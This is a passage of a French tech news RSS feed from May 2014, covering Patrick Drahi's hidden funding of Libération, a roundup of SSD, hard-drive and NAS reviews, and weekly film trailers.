?&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 08:40:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87497.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87509-patrick-drahi-altice-en-voie-racheter-liberation.htm</guid><link>http://www.nextinpact.com/news/87509-patrick-drahi-altice-en-voie-racheter-liberation.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>nil@nextinpact.com</author><category>Finances</category><title>Patrick Drahi (Altice) en piste pour le rachat de Libération</title><description>&lt;p class="actu_chapeau"&gt;Patrick Drahi, patron d'Altice et principal actionnaire de Numericable-Completel (et bient&amp;ocirc;t SFR), semble suivre les pas&amp;nbsp;de Xavier Niel. Apr&amp;egrave;s avoir investi &lt;a href="http://www.nextinpact.com/news/87026-patrick-drahi-investit-10-millions-deuros-dans-mooc-via-mines-telecom.htm" target="_blank"&gt;10 millions d'euros dans l'Institut&amp;nbsp;Mines-T&amp;eacute;l&amp;eacute;com&lt;/a&gt;&amp;nbsp;afin de d&amp;eacute;velopper les MOOC, voil&amp;agrave; que le milliardaire a ouvert son portefeuille et en a sorti 4 millions d'euros pour renflouer le quotidien Lib&amp;eacute;ration.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/145253.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-145253.png" alt="Altice conf&amp;eacute;rence" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Patrick Drahi, &amp;agrave; droite, lors d'une conf&amp;eacute;rence de Numericable abordant le cas &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;Drahi en lib&amp;eacute;rateur&lt;/h3&gt;
+&lt;p&gt;D&amp;eacute;voil&amp;eacute;e par &lt;a href="http://www.mediapart.fr/journal/economie/120514/patrick-drahi-numericable-est-linvestisseur-mystere-de-liberation" target="_blank"&gt;Mediapart&lt;/a&gt;&amp;nbsp;ce lundi, la nouvelle a rapidement fait le tour de la presse fran&amp;ccedil;aise. Il faut dire que depuis plusieurs semaines, beaucoup se demandaient qui &amp;eacute;tait &lt;a href="http://ecrans.liberation.fr/ecrans/2014/05/05/liberation-la-maison-de-verre-et-des-pas-mures_1011178" target="_blank"&gt;l'homme myst&amp;egrave;re&lt;/a&gt;&amp;nbsp;qui avait&amp;nbsp;pr&amp;ecirc;t&amp;eacute; quatre&amp;nbsp;millions d'euros &amp;agrave; Bruno Ledoux,&amp;nbsp;actionnaire et&amp;nbsp;pr&amp;eacute;sident du conseil de surveillance de&amp;nbsp;Lib&amp;eacute;ration. Le nom de Patrick Drahi avait d&amp;eacute;j&amp;agrave; circul&amp;eacute;, mais l'information avait &amp;eacute;t&amp;eacute; infirm&amp;eacute;e par le PDG du quotidien lui-m&amp;ecirc;me.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Tr&amp;egrave;s mal en point, le sort de Lib&amp;eacute;ration est sur toutes les l&amp;egrave;vres depuis plusieurs mois maintenant. En &lt;a href="http://lexpansion.lexpress.fr/actualites/1/actualite-economique/liberation-le-trio-berge-niel-pigasse-interesse-mais-pas-actif_1501676.html" target="_blank"&gt;mars dernier&lt;/a&gt;, le fameux trio Xavier Niel, Matthieu Pigasse et Pierre Berg&amp;eacute;, qui d&amp;eacute;tient d&amp;eacute;j&amp;agrave; Le Monde et bien d'autres m&amp;eacute;dias, s'&amp;eacute;tait dit int&amp;eacute;ress&amp;eacute; par le dossier, sans plus de d&amp;eacute;tails. &lt;a href="http://tempsreel.nouvelobs.com/medias/20140404.OBS2725/ledoux-verse-4-millions-d-euros-pour-renflouer-liberation.html" target="_blank"&gt;D&amp;eacute;but avril&lt;/a&gt;, nous apprenions que Bruno Ledoux comptait reverser&amp;nbsp;quatre&amp;nbsp;millions d'euros dans le journal, tout du moins si le tribunal de commerce venait &amp;agrave; accepter&amp;nbsp;son&amp;nbsp;plan de recapitalisation.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un peu plus d'un mois plus tard, nous apprenons donc qu'en r&amp;eacute;alit&amp;eacute;, Patrick Drahi se trouve derri&amp;egrave;re ce petit pactole. Une semi-surprise, sachant que dimanche, l'AFP &lt;a href="http://lexpansion.lexpress.fr/actualites/1/actualite-economique/actionnaires-dirigeants-bientot-une-nouvelle-donne-pour-liberation_1537206.html" target="_blank"&gt;indiquait&lt;/a&gt;&amp;nbsp;d&amp;eacute;j&amp;agrave; que le patron d'Altice &amp;eacute;tait int&amp;eacute;ress&amp;eacute; par le journal suite &amp;agrave; des sollicitations de la part de Bruno Ledoux. &amp;laquo; &lt;em&gt;Patrick Drahi r&amp;eacute;fl&amp;eacute;chit au dossier et l'&amp;eacute;tudie, mais aucune d&amp;eacute;cision n'est encore prise. (...) Les discussions avec Patrick Drahi sont tr&amp;egrave;s avanc&amp;eacute;es et une d&amp;eacute;cision devrait intervenir dans les jours qui viennent&lt;/em&gt; &amp;raquo; ont ainsi pr&amp;eacute;cis&amp;eacute; plusieurs sources proches du dossier.&lt;/p&gt;
+&lt;h3&gt;&amp;laquo; Cette strat&amp;eacute;gie du cheval de Troie contrevient au principe de transparence &amp;raquo;&lt;/h3&gt;
+&lt;p&gt;Mais ces quatre petits millions d'euros ne seraient&amp;nbsp;qu'un amuse-bouche. Drahi pourrait en effet aller plus loin et investir quatorze&amp;nbsp;millions d'euros suppl&amp;eacute;mentaires d'apr&amp;egrave;s Mediapart. De quoi lui donner un poids cons&amp;eacute;quent et lui permettre de rentrer de plain-pied dans le capital du journal fond&amp;eacute; par&amp;nbsp;Jean-Paul Sartre. La nouvelle n'a toutefois pas sp&amp;eacute;cialement plu aux journalistes de Lib&amp;eacute;ration. Ce n'est pas tant l'arriv&amp;eacute;e du milliardaire que la fa&amp;ccedil;on d&amp;eacute;tourn&amp;eacute;e qui agace.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;laquo; &lt;em&gt;Pourquoi alors autant de cachoteries de la part de ces hommes d&amp;rsquo;affaires autour de&amp;nbsp;Lib&amp;eacute;ration&amp;nbsp;?&lt;/em&gt; se demandent ainsi les employ&amp;eacute;s du quotidien dans une &lt;a href="http://ecrans.liberation.fr/ecrans/2014/05/12/l-investisseur-masque-de-libe-est-bien-patrick-drahi_1015858" target="_blank"&gt;tribune&lt;/a&gt;&amp;nbsp;publi&amp;eacute;e hier.&lt;em&gt; Selon Mediapart, Patrick Drahi aurait sorti son ch&amp;eacute;quier en urgence, afin de laisser le journal en vie le temps de se mettre d&amp;rsquo;accord sur le montant de sa part dans le reste de la recapitalisation. Si les n&amp;eacute;gociations entre Ledoux et Drahi (ou tout autre investisseur) n&amp;rsquo;aboutissaient pas, le premier serait oblig&amp;eacute; de verser lui-m&amp;ecirc;me la totalit&amp;eacute; de la recapitalisation annonc&amp;eacute;e, soit 18&amp;nbsp;millions d&amp;rsquo;euros.&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;em&gt;Cette strat&amp;eacute;gie du cheval de Troie contrevient au principe de transparence dans le financement de la presse, auquel les salari&amp;eacute;s de&amp;nbsp;Lib&amp;eacute;ration&amp;nbsp;demeurent particuli&amp;egrave;rement attach&amp;eacute;s et sur lequel ils entendent rester vigilants. Ce principe, pos&amp;eacute; au sortir de la Seconde guerre mondiale par le Conseil national de la R&amp;eacute;sistance et qui donnera lieu &amp;agrave; deux ordonnances fondatrices en 1944, faisait de l&amp;rsquo;entreprise de presse&amp;nbsp;&amp;laquo; une maison de verre &amp;raquo;&amp;nbsp;reposant sur des r&amp;egrave;gles simples&amp;nbsp;: transparence, identification des dirigeants et des propri&amp;eacute;taires. Or, aujourd&amp;rsquo;hui, la recapitalisation en cours repose sur le principe inverse, celui de la dissimulation volontaire.&amp;nbsp;&lt;/em&gt;&amp;raquo;&lt;/p&gt;
+&lt;h3&gt;Les milliardaires du&amp;nbsp;secteur&amp;nbsp;des t&amp;eacute;l&amp;eacute;coms croquent les m&amp;eacute;dias un &amp;agrave; un&lt;/h3&gt;
+&lt;p&gt;Roi du monde t&amp;eacute;l&amp;eacute;com avec des soci&amp;eacute;t&amp;eacute;s dans plusieurs territoires, Patrick Drahi s'attaque donc d&amp;eacute;sormais aux m&amp;eacute;dias. Il d&amp;eacute;tient d'ores et d&amp;eacute;j&amp;agrave; quelques petites cha&amp;icirc;nes en France, dont Vivolta, Shorts TV, Kombat Sport et le groupe MCS, mais d'un point de vue m&amp;eacute;diatique, cela n'a rien &amp;agrave; voir avec Lib&amp;eacute;ration. Cela prouve surtout que les acteurs des t&amp;eacute;l&amp;eacute;coms, ces nouveaux riches, commencent &amp;agrave; empi&amp;eacute;ter sur le monde des banques et autres financiers, qui d&amp;eacute;tenaient auparavant une grande partie de la presse fran&amp;ccedil;aise. Depuis quelques ann&amp;eacute;es, la situation a&amp;nbsp;cependant&amp;nbsp;chang&amp;eacute;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Xavier Niel, le fondateur d'Iliad (Free), a ainsi mis quelques millions dans divers journaux et sites internet, que ce soit &amp;agrave; titre personnel ou accompagn&amp;eacute; d'autres investisseurs. En compagnie de Pierre Berg&amp;eacute; et Matthieu Pigasse, il d&amp;eacute;tient ainsi Le Monde, qui comprend le fameux quotidien, mais aussi T&amp;eacute;l&amp;eacute;rama, Courrier International, ou encore Le Monde Diplomatique. Le trio dispose aussi d'une part majoritaire dans Le Nouvel Observateur, un hebdomadaire propri&amp;eacute;t&amp;eacute; du groupe Perdriel. Les magazines Challenges et Sciences et Avenir, eux aussi dans le giron du groupe Perdriel, ne sont par contre pas concern&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Outre ces parts majoritaires dans des quotidiens et hebdomadaires majeurs, Xavier Niel d&amp;eacute;tient aussi des parts plus ou moins grandes&amp;nbsp;dans certains sites. Selon un article de 2012 publi&amp;eacute;&amp;nbsp;par le sp&amp;eacute;cialiste des m&amp;eacute;dias&amp;nbsp;&lt;a href="http://www.acrimed.org/article3807.html" target="_blank"&gt;Acrimed&lt;/a&gt;, c'est le cas d'Atlantico, Mediapart, Bakchich, Electron Libre, Owni (ferm&amp;eacute; depuis) ou encore Causeur et Terra Eco. Depuis, l'homme d'affaires a aussi mis&amp;eacute; sur Marsactu.fr.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 08:20:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87509.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87510-le-recap-tests-stockage-pour-tous-gouts.htm</guid><link>http://www.nextinpact.com/news/87510-le-recap-tests-stockage-pour-tous-gouts.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Stockage</category><title>Le récap' des tests : du stockage pour tous les goûts</title><description>&lt;p class="actu_chapeau"&gt;Aujourd'hui, le r&amp;eacute;capitulatif des tests se plonge dans l'univers du stockage. Il sera donc question de SSD de chez OCZ et Intel, d'un disque dur de 5 To dont la disponibilit&amp;eacute; ne devrait plus tarder avant de finir avec le test d'un NAS d'entr&amp;eacute;e de gamme. Le tout, fra&amp;icirc;chement r&amp;eacute;colt&amp;eacute; dans les colonnes de nos confr&amp;egrave;res.&lt;/p&gt;&lt;p&gt;En r&amp;egrave;gle g&amp;eacute;n&amp;eacute;rale, les supports de stockage finissent toujours par se remplir plus rapidement qu'on le souhaiterait et le moment &amp;agrave; partir du quel on doit penser &amp;agrave; s'orienter vers un nouveau mod&amp;egrave;le&amp;nbsp;arrive toujours t&amp;ocirc;t ou tard. Si vous &amp;ecirc;tes dans ce cas de figure, les quelques tests qui vont suivre auront probablement de quoi vous int&amp;eacute;resser.&lt;/p&gt;
+&lt;h3&gt;OCZ Vertex 460 240 Go : sauv&amp;eacute; par le Japon&lt;/h3&gt;
+&lt;p&gt;&lt;a class="pci_ref" href="http://www.pcinpact.com/news/85499-ssd-ocz-est-officiellement-filiale-toshiba.htm" target="_blank" rel="85499-ssd-ocz-est-officiellement-filiale-toshiba" data-relto="news" data-key="85499-ssd-ocz-est-officiellement-filiale-toshiba"&gt;Frai&amp;icirc;chement sauv&amp;eacute; de la faillite par Toshiba&lt;/a&gt;,&amp;nbsp;OCZ&amp;nbsp;a pu&amp;nbsp;lancer sa derni&amp;egrave;re gamme de &lt;span data-affiliable="true" data-affkey="SSD"&gt;SSD&lt;/span&gt;, baptis&amp;eacute;e Vertex 460. Celle-ci comprend trois mod&amp;egrave;les de 120, 240 et 480 Go et c'est au&amp;nbsp;second que nos confr&amp;egrave;res de Mad Shrimps se sont int&amp;eacute;ress&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si Toshiba n'apparait pas sur l'&amp;eacute;tiquette le constructeur japonais est bel est bien pr&amp;eacute;sent dans ce &lt;span data-affiliable="true" data-affkey="SSD"&gt;SSD&lt;/span&gt;, puisque les puces Toggle NAND grav&amp;eacute;es en 19 nm qui &amp;eacute;quipent le&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/prixdunet" target="_blank"&gt;Vertex 460&lt;/a&gt;&amp;nbsp;sortent des usines du g&amp;eacute;ant nippon. Le contr&amp;ocirc;leur vient quant &amp;agrave; lui de chez Indilinx. Qu'apporte-t-il par rapport au Vertex 450 qu'il remplace ? Nos confr&amp;egrave;res vous le diront dans leur test :&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.madshrimps.be/articles/article/1000590/#axzz31biiO0Eb" target="_blank"&gt;Lire l'article.&lt;/a&gt;&amp;nbsp;(en anglais).&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142884.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142884.jpeg" alt="Vertex 460" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Intel 730 Series 480 Go : vivement le 740 Series avec un cr&amp;acirc;ne rouge&lt;/h3&gt;
+&lt;p&gt;Prenez un &lt;span data-affiliable="true" data-affkey="SSD"&gt;SSD&lt;/span&gt; dedi&amp;eacute; au march&amp;eacute; professionnel, comme le&amp;nbsp;&lt;a class="pci_ref" href="http://www.pcinpact.com/news/75065-intel-dc-s3700-ssd-endurants-et-rapides-equipes-dun-controleur-maison.htm" target="_blank" data-relto="news" data-key="75065-intel-dc-s3700-ssd-endurants-et-rapides-equipes-dun-controleur-maison"&gt;DC S3700&lt;/a&gt;, de chez Intel, augmentez de 50 % la fr&amp;eacute;quence de son contr&amp;ocirc;leur, et de 20 % celle du bus des puces de NAND, et vous obtenez l'Intel 730 Series, un &lt;span data-affiliable="true" data-affkey="SSD"&gt;SSD&lt;/span&gt; qui se destine &amp;agrave; une client&amp;egrave;le amatrice de bidouilles en tout genre.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Selon la firme de Santa Clara, le mod&amp;egrave;le de 480 Go test&amp;eacute; par nos confr&amp;egrave;res de Legit Reviews est capable de maintenir des d&amp;eacute;bits de 550 Mo/s en lecture et de 470 Mo/s en &amp;eacute;criture, tout en gardant une endurance satisfaisante. Il serait ici question de 70 Go en &amp;eacute;criture par jour. Cela suffit-il a justifier &lt;a href="http://www.pcinpact.com/goaff/f45e32267894617af6ba2232730a29f9de072b2deccf49c149cd104488fa4f04" target="_blank"&gt;un tarif de 405 euros &lt;/a&gt;? R&amp;eacute;ponse tout de suite :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.legitreviews.com/intel-730-series-480gb-ssd-review-in-raid_139438" target="_blank"&gt;Lire l'article.&lt;/a&gt;&amp;nbsp;(en anglais).&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/144716.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-144716.png" alt="Intel 730 Series" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Seagate Desktop HDD 5 To : le futur meilleur ami de votre &lt;span data-affiliable="true" data-affkey="NAS"&gt;NAS&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;Chez Hardware.Info, nos confr&amp;egrave;res se sont int&amp;eacute;ress&amp;eacute;s &amp;agrave; un tout nouveau disque dur fra&amp;icirc;chement sorti des usines de Seagate : le Desktop HDD 5 To, ou&amp;nbsp;T5000DX000. Pour l'heure celui-ci n'est pas encore vendu au d&amp;eacute;tail, mais on peut d&amp;eacute;j&amp;agrave; le retrouver dans certains p&amp;eacute;riph&amp;eacute;riques&amp;nbsp;comme le &lt;a href="http://www.pcinpact.com/goaff/823c87f511e502b2965f4232c907cf80573b7b4192129cf4a4f2afbafe9b39f5" target="_blank"&gt;5big Thunderbolt de chez LaCie.&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme l'on peut s'en douter, celui-ci dispose de cinq plateaux de 1 To chacun, pouvant atteindre une vitesse de rotation de 7200 tours par minute. 64 Mo de m&amp;eacute;moire cache sont &amp;eacute;galement de la partie, de quoi afficher des d&amp;eacute;bits&amp;nbsp;de l'ordre de 170 Mo/s en lecture et&amp;nbsp;en &amp;eacute;criture. Faut-il craquer ? C'est &amp;agrave; d&amp;eacute;couvrir tout de suite :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://uk.hardware.info/reviews/5322/seagate-desktop-hdd-5tb-review-first-5tb-hard-drive" target="_blank"&gt;Lire l'article.&lt;/a&gt;&amp;nbsp;(en anglais).&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146721.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146721.jpeg" alt="Seagate Desktop HDD 5 To" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Netgear Ready&lt;span data-affiliable="true" data-affkey="NAS"&gt;NAS&lt;/span&gt; 102 : de l'entr&amp;eacute;e de gamme sans fioritures&lt;/h3&gt;
+&lt;p&gt;Enfin, nos confr&amp;egrave;res de chez Techgage se sont int&amp;eacute;ress&amp;eacute;s &amp;agrave; un &lt;span data-affiliable="true" data-affkey="NAS"&gt;NAS&lt;/span&gt; s'entr&amp;eacute;e de gamme, se n&amp;eacute;gociant parfois sous la barre des 100 euros : le &lt;a class="aff-lnk" href="../goaff/c6bb1a6303717e286016ce449815939d015bccff9196f270b877853d99825980" data-id="c6bb1a6303717e286016ce449815939d015bccff9196f270b877853d99825980 target="&gt;Netgear ReadyNAS 102&lt;/a&gt;. Celui-ci ne dispose que de deux baies, mais cela devrait suffire dans le cadre d'une utilisation domestique.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La connectique est &amp;agrave; la hauteur de son tarif, plut&amp;ocirc;t basique, mais on notera tout de m&amp;ecirc;me la pr&amp;eacute;sence de deux ports USB 3.0 &amp;agrave; l'arri&amp;egrave;re, mais surtout d'un connecteur eSATA, permettant de greffer un troisi&amp;egrave;me support de stockage &amp;agrave; ce &lt;span data-affiliable="true" data-affkey="NAS"&gt;NAS&lt;/span&gt;. Qu'en est-il de ses performances ? La r&amp;eacute;ponse se cache derri&amp;egrave;re ce lien :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://techgage.com/article/netgear-readynas-102-dual-bay-nas-review/" target="_blank"&gt;Lire l'article.&lt;/a&gt;&amp;nbsp;(en anglais).&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141087.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141087.png" alt="NAS Netgear ReadyNAS 102 RN10200" /&gt;&lt;/a&gt;&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 00:01:08 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87510.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87511-bandes-annonces-godzilla-labyrinthe-kev-adams-et-mise-a-epreuve.htm</guid><link>http://www.nextinpact.com/news/87511-bandes-annonces-godzilla-labyrinthe-kev-adams-et-mise-a-epreuve.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Cinéma</category><title>Bandes-annonces : Godzilla, Labyrinthe, Kev Adams et une Mise à l'épreuve</title><description>&lt;p class="actu_chapeau"&gt;Cette semaine,&amp;nbsp;un monstre revient encore une nouvelle fois&amp;nbsp;pour d&amp;eacute;truire une partie des &amp;Eacute;tats-Unis, il s'agit &amp;eacute;videmment de &lt;em&gt;Godzilla&lt;/em&gt;. De son c&amp;ocirc;t&amp;eacute;, Kev Adams incarnera&amp;nbsp;un agent du Mossad&amp;nbsp;qui n'est pas&amp;nbsp;des plus convaincants. Deux bandes-annonces concernant&amp;nbsp;des films violents sont aussi sorties cette semaine : &lt;em&gt;Le&amp;nbsp;Labyrinthe tir&amp;eacute; du roman &amp;eacute;ponyme, et qui n'est pas sans rappeler Cube, ainsi que&amp;nbsp;Big Bad Wolves&lt;/em&gt;.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146711.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146711.jpeg" alt="Affiche Godzilla" height="190" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146719.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146719.jpeg" alt="Affiche Kidon" height="190" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146718.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146718.jpeg" alt="Affiche Charlie Countryman" height="190" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146720.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146720.jpeg" alt="Affiche Mise &amp;agrave; l'&amp;eacute;preuve" height="190" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Godzilla arrive, planquez-vous&lt;/h3&gt;
+&lt;p&gt;Planquez-vous, &lt;em&gt;Godzilla&lt;/em&gt; d&amp;eacute;barquera demain dans les salles de &lt;span data-affiliable="true" data-affkey="cin&amp;eacute;ma"&gt;cin&amp;eacute;ma&lt;/span&gt;. Cette nouvelle adaptation est sign&amp;eacute;e&amp;nbsp;Gareth Edwards et, bien &amp;eacute;videmment, il est question de monstres et d'essais nucl&amp;eacute;aires dans le Pacifique.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le film obtient une tr&amp;egrave;s bonne moyenne&amp;nbsp;sur IMDb avec 9,2 sur 10, bien que le metascore soit un peu plus r&amp;eacute;serv&amp;eacute; avec 60 sur 100 seulement. Amateurs d'action, d'effets sp&amp;eacute;ciaux et de combats gargantuesques, ce film devrait vous int&amp;eacute;resser.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Kidon : quand Kev Adams pense travailler pour le service action du Mosad&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Dans un registre totalement diff&amp;eacute;rent, &lt;em&gt;Kidon&amp;nbsp;&lt;/em&gt;sera &amp;eacute;galement &amp;agrave; l'affiche. Ce nom d&amp;eacute;signe une branche arm&amp;eacute;e des&amp;nbsp;services secrets isra&amp;eacute;liens (alias&amp;nbsp;le Mossad). Mais ne vous fiez pas aux apparences, il ne s'agit pas ici d'un film d'espionnage au sens classique du terme, mais plut&amp;ocirc;t d'une com&amp;eacute;die.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On y retrouve d'ailleurs l'humoriste&amp;nbsp;Kev Adams aux c&amp;ocirc;t&amp;eacute;s de Tomer Sisley, de&amp;nbsp;Lionel Abelanski ainsi que de&amp;nbsp;Bar Refaeli, tous les quatre plac&amp;eacute;s sous la houppette d'Emmanuel Naccache. Le score est moins &amp;eacute;lev&amp;eacute; que pour &lt;em&gt;Godzilla&lt;/em&gt; avec 7 sur 10 seulement.&lt;/p&gt;
+&lt;h3&gt;Quand Charlie Countryman&amp;nbsp;tombe amoureux,&amp;nbsp;les choses ont tendances &amp;agrave; se compliquer&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Si vous &amp;ecirc;tes plut&amp;ocirc;t &amp;agrave; la recherche d'une histoire d'amour, alors&amp;nbsp;&lt;em&gt;Charlie Countryman&lt;/em&gt; est peut-&amp;ecirc;tre le film qu'il vous faut. Mais attention, il s'agit d'une relation pour le moins&amp;nbsp;mouvement&amp;eacute;e puisque&amp;nbsp;l'ex-fianc&amp;eacute; de la petite amie du h&amp;eacute;ros est un dangereux ca&amp;iuml;d qui ne voit pas cette idylle d'un bon &amp;oelig;il.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Nous terminerons cette s&amp;eacute;lection avec&amp;nbsp;&lt;em&gt;Mise &amp;agrave; l'&amp;eacute;preuve&lt;/em&gt;, un film que nous avons d&amp;eacute;j&amp;agrave; &amp;eacute;voqu&amp;eacute; lorsqu'une bande-annonce avait &amp;eacute;t&amp;eacute; mise en ligne.&amp;nbsp;Il raconte l'histoire de Ben Barber, un petit flic un peu trouillard qui veut &amp;eacute;pouser la s&amp;oelig;ur de James Payton, alias Ice Cube, lui aussi&amp;nbsp;policier, mais d'un&amp;nbsp;genre totalement&amp;nbsp;diff&amp;eacute;rent.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme toujours, voici une liste de lecture regroupant&amp;nbsp;les bandes-annonces des films que nous venons d'&amp;eacute;voquer :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;iframe src="//www.youtube.com/embed/videoseries?list=PLvs5oKzmvTtWwK2BgWjH-jK5-1b2thCM-" width="600" height="338" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;h3&gt;Apr&amp;egrave;s Cube, voici Le Labyrinthe qui est tout aussi dangereux et mortel&lt;/h3&gt;
+&lt;p&gt;La 20th Century Fox propose une bande-annonce pour un film qui sortira le 15 octobre prochain : &lt;em&gt;Le Labyrinthe&lt;/em&gt;.&amp;nbsp;L'histoire est tir&amp;eacute;e du roman &amp;eacute;ponyme et n'est pas sans rappeler un autre film qui surfait sur le m&amp;ecirc;me sujet : &lt;em&gt;Cube&lt;/em&gt;. En effet, on y retrouve un groupe de personnes sans aucun souvenir qui doit r&amp;eacute;ussir &amp;agrave; franchir un labyrinthe myst&amp;eacute;rieux et surtout mortel.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146722.jpeg" alt="Affiche Labyrinthe" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; de chez Metropolitan Studio,&amp;nbsp;il est question de &lt;em&gt;Big Bad Wolves&lt;/em&gt;, un thriller sombre, violent et sordide sur fond de vengeance. D'apr&amp;egrave;s Quentin Tarantino, un expert en la mati&amp;egrave;re, il s'agirait ni plus ni moins que du&amp;nbsp;&amp;laquo; &lt;em&gt;meilleur film de l'ann&amp;eacute;e&lt;/em&gt; &amp;raquo;. On vous laisse d&amp;eacute;couvrir cet univers dans la bande-annonce ci-dessous.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme toujours, n'h&amp;eacute;sitez pas &amp;agrave; nous signaler les films qui vous int&amp;eacute;ressent via les commentaires ou bien sur&amp;nbsp;&lt;a href="http://forum.pcinpact.com/topic/167129-critique-cinema/" target="_blank"&gt;ce sujet d&amp;eacute;di&amp;eacute; aux critiques cin&amp;eacute;ma de notre forum&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
